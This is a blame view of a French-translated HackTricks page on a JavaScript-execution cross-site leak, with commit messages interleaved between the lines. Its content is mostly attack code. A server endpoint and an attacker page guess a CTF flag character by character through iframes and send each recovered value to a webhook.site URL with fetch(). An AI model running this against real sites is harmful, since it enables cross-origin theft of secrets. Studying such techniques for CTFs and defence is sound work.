Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search/javascript-execution-xs-leak.md

89 lines
4 KiB
Markdown
Raw Normal View History

Translated to French
2023-06-03 13:10:46 +00:00
# Exécution de JavaScript XS Leak
GitBook: [#3759] No subject
2023-01-22 23:19:55 +00:00
<details>
Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R
2024-02-09 02:16:20 +00:00
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
GitBook: [#3759] No subject
2023-01-22 23:19:55 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:40:52 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
Translated to French
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil
2024-02-08 04:38:25 +00:00
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:40:52 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
GitBook: [#3759] No subject
2023-01-22 23:19:55 +00:00
</details>
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:40:52 +00:00
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
GitBook: [#3759] No subject
2023-01-22 23:19:55 +00:00
});
```
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:40:52 +00:00
Page principale qui génère des iframes vers la page précédente `/guessing` pour tester chaque possibilité
GitBook: [#3759] No subject
2023-01-22 23:19:55 +00:00
```html
<html>
<head>
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:40:52 +00:00
<script>
let candidateIsGood = false;
let candidate = ''
let flag = 'bi0sctf{'
let guessIndex = -1
let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'
GitBook: [#3759] No subject
2023-01-22 23:19:55 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:40:52 +00:00
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
GitBook: [#3759] No subject
2023-01-22 23:19:55 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:40:52 +00:00
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
}
GitBook: [#3759] No subject
2023-01-22 23:19:55 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:40:52 +00:00
//Start with true and will be change to false if wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch('https://webhook.site/<yours-goes-here>')
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
console.log('iframe: ', iframe)
hack.innerHTML = iframe
}
, 500);
</script>
GitBook: [#3759] No subject
2023-01-22 23:19:55 +00:00
</head>
<p>hello</p>
<div id="hack">
</div>
</html>
```
<details>
Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R
2024-02-09 02:16:20 +00:00
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
GitBook: [#3759] No subject
2023-01-22 23:19:55 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:40:52 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
Translated to French
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil
2024-02-08 04:38:25 +00:00
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:40:52 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
GitBook: [#3759] No subject
2023-01-22 23:19:55 +00:00
</details>
Reference in a new issue Copy permalink